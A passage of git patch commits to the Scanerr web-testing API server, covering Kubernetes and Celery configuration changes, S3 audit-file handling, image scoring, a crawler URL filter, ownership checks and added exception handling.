From 8a47b742c20659498c04230d3e2b5cc4162dac05 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:29:13 -0500
Subject: [PATCH 098/752] testing out new configs

---
 k8s/prod/app-deployment.yaml | 6 +++---
 k8s/prod/app-ingress.yaml    | 7 ++++---
 2 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 804a2680..269a8f3a 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:9e5b01f # 
+          image: <IMAGE> # landonr/scanerr-server:04401a7 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -59,8 +59,8 @@ metadata:
   labels:
     service: app
 spec:
-  type: NodePort
-  externalTrafficPolicy: Cluster
+  # type: NodePort
+  # externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index a44b91d4..db99db32 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -2,9 +2,10 @@ apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
   name: app-ingress
-  ## ensure below section is commented out on first creation ##
-  # annotations:
-  #   cert-manager.io/cluster-issuer: letsencrypt-nginx     
+  annotations:
+    kubernetes.io/ingress.class: nginx
+    ## ensure below section is commented out on first creation ##
+    # cert-manager.io/cluster-issuer: letsencrypt-nginx     
 spec:
   ## ensure below section is comented out on first creation ##
   # tls:

From 3100c26613f858e6c242e689fa4054b4435e336b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:29:21 -0500
Subject: [PATCH 099/752] removed extra bug

---
 app/api/utils/image.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 6c2db378..82737937 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1339,7 +1339,7 @@ def cv2_score(pre_img, post_img):
                     pil_img_score = pil_score(pre_img, post_img)
                     
                     # pixel perfect scoring
-                    cv2_img_score = cv2_score(pre_img_array, post_img_array)
+                    cv2_img_score = cv2_score(pre_img, post_img)
 
                     # weighted average
                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8

From 9ca0f32540c3e6ebdfe0c4b7ed5e0eea49db5ddb Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:32:57 -0500
Subject: [PATCH 100/752] fixed typos

---
 app/api/utils/lighthouse.py | 8 ++++----
 app/api/utils/yellowlab.py  | 8 ++++----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index aedfb6d3..f2ff2787 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -131,18 +131,18 @@ def get_data(self):
                     json.dump(audits, fp)
                 
                 # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
                 root_path = settings.AWS_S3_URL_PATH
                 audits_url = f'{root_path}/{remote_path}'
             
                 # upload to s3
                 with open(audit_file, 'rb') as data:
                     s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
                     )
                 # remove local copy
-                os.remove(image)
+                os.remove(audit_file)
 
                 data = {
                     "scores": scores, 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 3deda5df..1bd4d7dd 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -100,18 +100,18 @@ def get_data(self):
                     json.dump(audits, fp)
                 
                 # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
                 root_path = settings.AWS_S3_URL_PATH
                 audits_url = f'{root_path}/{remote_path}'
             
                 # upload to s3
                 with open(audit_file, 'rb') as data:
                     s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
                     )
                 # remove local copy
-                os.remove(image)
+                os.remove(audit_file)
 
                 data = {
                     "scores": scores, 

From 81d275f21af254ad0ed7d677eb91aed36922e2c3 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 20:02:20 -0500
Subject: [PATCH 101/752] fixed s3 import bug

---
 app/api/utils/yellowlab.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1bd4d7dd..0edb7fae 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -30,6 +30,15 @@ def init_audit(self):
 
 
     def get_data(self):
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+        
         try:
             stdout_value = self.init_audit() 
             # decode bytes into string

From 1cff7f11a81281800d080177c0ae5b9d3785f0d4 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 20:23:48 -0500
Subject: [PATCH 102/752] switch back to num_tasks for celery-autoscaler

---
 k8s/prod/celery-autoscaler.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index c657599e..173e3533 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -12,6 +12,6 @@ spec:
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "3"
+        targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "ratio"
\ No newline at end of file
+        valueLocation: "num_tasks"
\ No newline at end of file

From a16b39b2d9f08c8bf648c677ff7bb214a74398f0 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 13:45:24 -0500
Subject: [PATCH 103/752] added <frame> tag to list

---
 app/api/utils/tester.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 1ce335a0..628db3ce 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -24,13 +24,13 @@ def clean_html(self):
 
         white_list = ['csrfmiddlewaretoken', '<!DOCTYPE html>',]
         tags = [
-            '<head', '<script', '<div', '<p', '<h1', '<wbr', '<ul', '<tr', '<u', '<title',  
+            '<head', '<script', '<div', '<p', '<h1', '<wbr', '<ul', '<tr', '<u', '<title', '<iframe',  
             '<section', '<source', '<style', '<q', '<option', '<nav', '<menu', '<mark', '<map', '<meta', '<keygen', '<link',
             '<li', '<legend', '<label', '<input', '<img', '<i', '<hr', '<hgroup', '<h2', '<h3', '<h4', '<h5', '<h6', '<form', 
             '<footer', '<figure', '<fieldset', '<embed', '<em', '<dt', '<dl', '<dialog', '<dfn', '<details', '<del', '<dd', 
             '<datalist', '<data', '<colgroup', '<col', '<code', '<cite', '<caption', '<canvas', '<button', '<body', '<blockquote',
             '<bdo', '<bdi', '<base', '<pre', '<b', '<br', '<audio', '<aside', '<article', '<area', '<address', '<abbr', '<a',
-            '<!DOCTYPE html>', '</head', '</script', '</div', '</p', '</h1', '</wbr', '</ul', '</tr', '</u', '</title',  
+            '<!DOCTYPE html>', '</head', '</script', '</div', '</p', '</h1', '</wbr', '</ul', '</tr', '</u', '</title', '</iframe',  
             '</section', '</source', '</style', '</q', '</option', '</nav', '</menu', '</mark', '</map', '</meta', '</keygen', '</link',
             '</li', '</legend', '</label', '</input', '</img', '</i', '</hr', '</hgroup', '</h2', '</h3', '</h4', '</h5', '</h6', '</form', 
             '</footer', '</figure', '</fieldset', '</embed', '</em', '</dt', '</dl', '</dialog', '</dfn', '</details', '</del', '</dd', 

From 092fe63afd79de8dac89b77b3e7dfa40c64b85c2 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 13:48:41 -0500
Subject: [PATCH 104/752] fixed dividde by zero bug

---
 app/api/utils/tester.py | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 628db3ce..26dc635b 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -411,14 +411,15 @@ def update_site_info(self, test):
                 if _test.score is not None:
                     tests.append(_test.score)
         
-        # calc site average of latest
-        site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
-
-        site.info['latest_test']['id'] = str(test.id)
-        site.info['latest_test']['time_created'] = str(test.time_created)
-        site.info['latest_test']['time_completed'] = str(test.time_completed)
-        site.info['latest_test']['score'] = site_avg_test_score
-        site.save()
+        if len(tests) > 0:
+            # calc site average of latest
+            site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+
+            site.info['latest_test']['id'] = str(test.id)
+            site.info['latest_test']['time_created'] = str(test.time_created)
+            site.info['latest_test']['time_completed'] = str(test.time_completed)
+            site.info['latest_test']['score'] = site_avg_test_score
+            site.save()
 
         return site
 

From 650555aa541e37c2ffd5028420437166c02c34d4 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 14:06:36 -0500
Subject: [PATCH 105/752] changed wording

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 003216f2..3844abc9 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 
 ![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
 
-This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
+This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
 > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
 

From a20ae38609232599aa0f8879eb3a0bbf4f5c8354 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 14:08:24 -0500
Subject: [PATCH 106/752] cleaning things up

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 3844abc9..51c397c3 100644
--- a/README.md
+++ b/README.md
@@ -13,6 +13,6 @@ Copyright © Scanerr 2023
 &nbsp;
 
 ## Guides
-- [Deployment (single Server)](notes/Deployment.md)
+- [Server Deployment](notes/Deployment.md)
 - [k8s Deployment](k8s/kubernetes-notes.md)
 &nbsp;

From da3c0f15b328ca7009f91a21a96ebda228c2b24d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 21:45:27 -0500
Subject: [PATCH 107/752] added catch for user error

---
 app/api/utils/image.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 82737937..b00ceedf 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1156,6 +1156,16 @@ def test(self, test, index=None):
             pre_scan_images = [test.pre_scan.images[index]]
             i = index
 
+        # catching user error when scan_type 
+        # did not include 'vrt'
+        if pre_scan_images is None:
+            images_delta = {
+                "average_score": None,
+                "images": None,
+            }
+            return images_delta
+
+
         for pre_img_obj in pre_scan_images:
             
             # getting pre_scan image

From 7145c3a216df29afb3cf3b389f074ed06305101e Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 21:45:47 -0500
Subject: [PATCH 108/752] fixed audit download for s3 migration

---
 app/api/utils/reporter.py | 33 ++++++++++++++++++++++++++-------
 1 file changed, 26 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 31197fd2..10579473 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -31,7 +31,7 @@ def __init__(self, report, scan=None):
         else:
             self.scan = scan
 
-        #building paths & canvas template
+        # building paths & canvas template
         if os.path.exists(os.path.join(settings.BASE_DIR,  f'temp/')):
             self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
         else:
@@ -45,6 +45,13 @@ def __init__(self, report, scan=None):
         self.c = canvas.Canvas(self.local_path, letter)
         self.y = 9
 
+        # define s3 instance
+        self.s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
     
     def setup_page(self):
         # sets the defaults for a new page
@@ -71,15 +78,11 @@ def draw_page_title(self, title):
     def publish_report(self):
         self.c.save()
         remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
-        s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
+        
 
         # uploading package to remote s3 
         with open(self.local_path, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
                 remote_path, ExtraArgs={
                     'ACL': 'public-read', 'ContentType': 'application/pdf'}
             )
@@ -250,6 +253,20 @@ def get_cat_string(self, cat):
 
         return string
 
+    
+    
+    def get_audits(self, uri=str):
+        """
+        Downloads teh JSON file from the passed uri
+        and return the data as a python dict
+        """
+        uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
+        audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
+        audits = json.loads(audits_raw)
+
+        return audits
+
+
 
 
     def create_data(self, data_type=str):
@@ -257,11 +274,13 @@ def create_data(self, data_type=str):
         
         if data_type == 'yellowlab':
             data = self.scan.yellowlab
+            data['audits'] = self.get_audits(data['audits'])
             page_title = 'Yellow Lab'
             avg_score = 'globalScore'
         
         if data_type == 'lighthouse':
             data = self.scan.lighthouse
+            data['audits'] = self.get_audits(data['audits'])
             page_title = 'Lighthouse'
             avg_score = 'average'
             

From 46d50f6e3fe6e2fb3a88bb97cd99bf3f22f650b8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 22:15:11 -0500
Subject: [PATCH 109/752] fixed some automation bugs

---
 app/api/v1/ops/services.py | 5 ++---
 app/api/v1/ops/views.py    | 2 +-
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index af5a1621..73cabcac 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1958,13 +1958,13 @@ def create_or_update_automation(request):
         try:
             automation = Automation.objects.get(id=schedule.automation.id)
             if automation.account != account and automation.account != None:
-                data = {'reason': 'update a Automation you do not own',}
+                data = {'reason': 'You cannot update a Automation you do not own',}
                 record_api_call(request, data, '403')
                 return Response(data, status=status.HTTP_403_FORBIDDEN)
         except:
             automation = None
         if schedule.account != account and schedule.account != None:
-            data = {'reason': 'create a Automation of a Schedule you do not own',}
+            data = {'reason': 'You cannot create a Automation of a Schedule you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
     except:
@@ -2040,7 +2040,6 @@ def get_automations(request):
             data = {'reason': 'cannot find a Automation with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-
         if automation.account != account:
             data = {'reason': 'retrieve an Automation you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index ad8d6096..fff28efd 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -371,7 +371,7 @@ def get(self, request, id):
         user = request.user
         account = Member.objects.get(user=user).account
 
-        if automation.user != request.user:
+        if automation.account != account:
             data = {'reason': 'you cannot retrieve Automations you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)

From 5323f44a9d68ea8872c66ef7015f37eb36b72b30 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 3 Aug 2023 23:04:29 -0500
Subject: [PATCH 110/752] added tqo replicas for broker

---
 k8s/prod/rabbitmq-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
index 1ff9e5b9..ac35aff4 100644
--- a/k8s/prod/rabbitmq-deployment.yaml
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -3,7 +3,7 @@ kind: Deployment
 metadata:
   name: rabbitmq
 spec:
-  replicas: 1
+  replicas: 2
   selector:
     matchLabels:
       name: rabbitmq

From 4eb8d3d0eddd17548f5ae175ce41fe3144a5ac0b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 21:47:02 -0500
Subject: [PATCH 111/752] testing redis config

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 95f1db40..ed19060d 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,10 +191,10 @@
 
 
 # Redis and Celery Conf
-# CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 

From 4fc1a69c0c8a55c9fe22ac6160df47f61f7701ed Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 21:47:59 -0500
Subject: [PATCH 112/752] notes

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index ed19060d..980feb85 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -190,10 +190,10 @@
 
 
 
-# Redis and Celery Conf
+# Redis and Celery Config
 CELERY_BROKER_URL = "redis://redis:6379"
 
-# RabbitMQ and Celery Conf
+# RabbitMQ and Celery Config
 # CELERY_BROKER_URL = "amqp://rabbitmq"
 
 

From 9b6cb9f56fe138ac897b0bff96608868e97a5e7b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 22:12:49 -0500
Subject: [PATCH 113/752] fixed old Report __str__ in Models

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..7ec9b1d2 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -449,7 +449,7 @@ class Report(models.Model):
     info = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.site.site_url}__report'
+        return f'{self.page.page_url}__report'
 
 
 

From 4c5fd6f0f40bbaf148d35d0647a66c8bf1953cd5 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 6 Aug 2023 22:13:10 -0500
Subject: [PATCH 114/752] fixed message broker failing

---
 k8s/kubernetes-notes.md                             | 2 +-
 k8s/prod/{ => old_configs}/rabbitmq-deployment.yaml | 0
 k8s/prod/{old_configs => }/redis-deployment.yaml    | 0
 3 files changed, 1 insertion(+), 1 deletion(-)
 rename k8s/prod/{ => old_configs}/rabbitmq-deployment.yaml (100%)
 rename k8s/prod/{old_configs => }/redis-deployment.yaml (100%)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index c1cf7b90..2f18cd70 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -107,7 +107,7 @@ kubectl port-forward service/app-service 8000:8000
 
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/old_configs/rabbitmq-deployment.yaml
similarity index 100%
rename from k8s/prod/rabbitmq-deployment.yaml
rename to k8s/prod/old_configs/rabbitmq-deployment.yaml
diff --git a/k8s/prod/old_configs/redis-deployment.yaml b/k8s/prod/redis-deployment.yaml
similarity index 100%
rename from k8s/prod/old_configs/redis-deployment.yaml
rename to k8s/prod/redis-deployment.yaml

From 5ec6ec57e75834aeca15da608e15725179046b47 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 11:26:35 -0500
Subject: [PATCH 115/752] added validation to crawler

---
 app/api/utils/crawler.py | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index c96fd892..d0599ed2 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -16,6 +16,24 @@ def get_links(self):
 
         follow_urls = []
         crawled_urls = [self.url,]
+
+        # validates url
+        def url_is_valid(url):
+            bad_str_list = ['cdn-cgi']
+            bad_end_list = [
+                '.png', '.jpg', '.pdf', '.jpeg', 
+                '.json', '.docs'
+            ]
+            if not (url.startswith(self.url) or url.startswith('/')):
+                return False
+            for bad_str in bad_str_list:
+                if bad_str in url:
+                    return False
+            for bad_end in bad_end_list:
+                if url.endswith(bad_end):
+                    return False
+            return True
+
         
         def add_urls(start_url):
             reqs = requests.get(start_url)
@@ -23,7 +41,7 @@ def add_urls(start_url):
             for link in soup.find_all('a'):
                 url = link.get('href')
                 if url is not None:
-                    if (url.startswith(self.url) or url.startswith('/')) and 'cdn-cgi' not in url:
+                    if url_is_valid(url):
                         if url.startswith('/'):
                             url = self.url + url
                         # check status of page

From 8e322f68853dad8258fedc6b711387e581666d39 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 11:37:26 -0500
Subject: [PATCH 116/752] added exception handling for test components

---
 app/api/utils/tester.py | 157 ++++++++++++++++++++++------------------
 1 file changed, 86 insertions(+), 71 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 26dc635b..dd4fbdb8 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -475,97 +475,112 @@ def run_test(self, index=None):
 
 
         if 'html' in self.test.type or 'full' in self.test.type:
-            # scores
-            html_score = self.compare_html()
-            delta_html_data = self.delta_html()
-            num_html_ratio = delta_html_data['num_html_ratio']
-            micro_diff_score = self.html_micro_diff_score(
+            try:
+                # scores
+                html_score = self.compare_html()
+                delta_html_data = self.delta_html()
+                num_html_ratio = delta_html_data['num_html_ratio']
+                micro_diff_score = self.html_micro_diff_score(
                     delta_html_data['post_micro_delta']['delta_parsed_diff']
                 )
-            
-            # weights
-            html_score_w = 1
-            num_html_w = 1
-            micro_diff_w = 2
-            
-            # data
-            html_delta_context = {
-                "pre_html_delta": delta_html_data['delta_html_pre'],
-                "post_html_delta": delta_html_data['delta_html_post'],
-                "pre_micro_delta": delta_html_data['pre_micro_delta'],
-                "post_micro_delta": delta_html_data['post_micro_delta'],
-            }
+                
+                # weights
+                html_score_w = 1
+                num_html_w = 1
+                micro_diff_w = 2
+                
+                # data
+                html_delta_context = {
+                    "pre_html_delta": delta_html_data['delta_html_pre'],
+                    "post_html_delta": delta_html_data['delta_html_post'],
+                    "pre_micro_delta": delta_html_data['pre_micro_delta'],
+                    "post_micro_delta": delta_html_data['post_micro_delta'],
+                }
+            except Exception as e:
+                print(e)
         
         
 
         if 'logs' in self.test.type or 'full' in self.test.type:
-            # scores
-            logs_score = self.compare_logs()
-            delta_logs_data = self.delta_logs()
-            num_logs_ratio = delta_logs_data['num_logs_ratio']
-            
-            # weights
-            logs_score_w = .5
-            num_logs_w = 2
-
-            # data
-            logs_delta_context = {
-                "pre_logs_delta": delta_logs_data['delta_logs_pre'],
-                "post_logs_delta": delta_logs_data['delta_logs_post'],
-            }
+            try:
+                # scores
+                logs_score = self.compare_logs()
+                delta_logs_data = self.delta_logs()
+                num_logs_ratio = delta_logs_data['num_logs_ratio']
+                
+                # weights
+                logs_score_w = .5
+                num_logs_w = 2
+
+                # data
+                logs_delta_context = {
+                    "pre_logs_delta": delta_logs_data['delta_logs_pre'],
+                    "post_logs_delta": delta_logs_data['delta_logs_post'],
+                }
+            except Exception as e:
+                print(e)
 
 
 
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
-            # scores & data
-            lighthouse_data = self.delta_lighthouse()
-            lighthouse_avg = lighthouse_data['scores']['average_delta']
-            if lighthouse_avg != None and lighthouse_avg > -100:
-                lighthouse_score = (100 + lighthouse_avg)/100
-            if lighthouse_avg != None and lighthouse_avg <= -100:
-                lighthouse_score = 0
-
-            # weights
-            if lighthouse_score == None:
-                delta_lh_w = 0
-            elif lighthouse_score > 1:
-                delta_lh_w = 1
-                lighthouse_score = 1
-            else:
-                delta_lh_w = 1
+            try:
+                # scores & data
+                lighthouse_data = self.delta_lighthouse()
+                lighthouse_avg = lighthouse_data['scores']['average_delta']
+                if lighthouse_avg != None and lighthouse_avg > -100:
+                    lighthouse_score = (100 + lighthouse_avg)/100
+                if lighthouse_avg != None and lighthouse_avg <= -100:
+                    lighthouse_score = 0
+
+                # weights
+                if lighthouse_score == None:
+                    delta_lh_w = 0
+                elif lighthouse_score > 1:
+                    delta_lh_w = 1
+                    lighthouse_score = 1
+                else:
+                    delta_lh_w = 1
+            except Exception as e:
+                print(e)
 
 
         
 
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
-            # scores & data
-            yellowlab_data = self.delta_yellowlab()
-            yellowlab_avg = yellowlab_data['scores']['average_delta']
-            if yellowlab_avg != None and yellowlab_avg > -100:
-                yellowlab_score = (100 + yellowlab_avg)/100
-            if yellowlab_avg != None and yellowlab_avg <= -100:
-                yellowlab_score = 0
-
-            # weights
-            if yellowlab_score == None:
-                delta_yl_w = 0
-            elif yellowlab_score > 1:
-                delta_yl_w = 1
-                yellowlab_score = 1
-            else:
-                delta_yl_w = 1
+            try:
+                # scores & data
+                yellowlab_data = self.delta_yellowlab()
+                yellowlab_avg = yellowlab_data['scores']['average_delta']
+                if yellowlab_avg != None and yellowlab_avg > -100:
+                    yellowlab_score = (100 + yellowlab_avg)/100
+                if yellowlab_avg != None and yellowlab_avg <= -100:
+                    yellowlab_score = 0
 
+                # weights
+                if yellowlab_score == None:
+                    delta_yl_w = 0
+                elif yellowlab_score > 1:
+                    delta_yl_w = 1
+                    yellowlab_score = 1
+                else:
+                    delta_yl_w = 1
+            except Exception as e:
+                print(e)
 
 
 
-        if 'vrt' in self.test.type or 'full' in self.test.type:
-            # scores & data
-            images_data = Image().test(test=self.test, index=index)
-            if images_data['average_score'] != None:
-                images_score = images_data['average_score'] / 100
 
-            # weights
-            images_w = 4
+        if 'vrt' in self.test.type or 'full' in self.test.type:
+            try:
+                # scores & data
+                images_data = Image().test(test=self.test, index=index)
+                if images_data['average_score'] != None:
+                    images_score = images_data['average_score'] / 100
+
+                # weights
+                images_w = 4
+            except Exception as e:
+                    print(e)
         
         
 

From ed60506cd8fa1c4e07698235ba8cc9983bb15dd9 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Tue, 8 Aug 2023 11:54:43 -0500
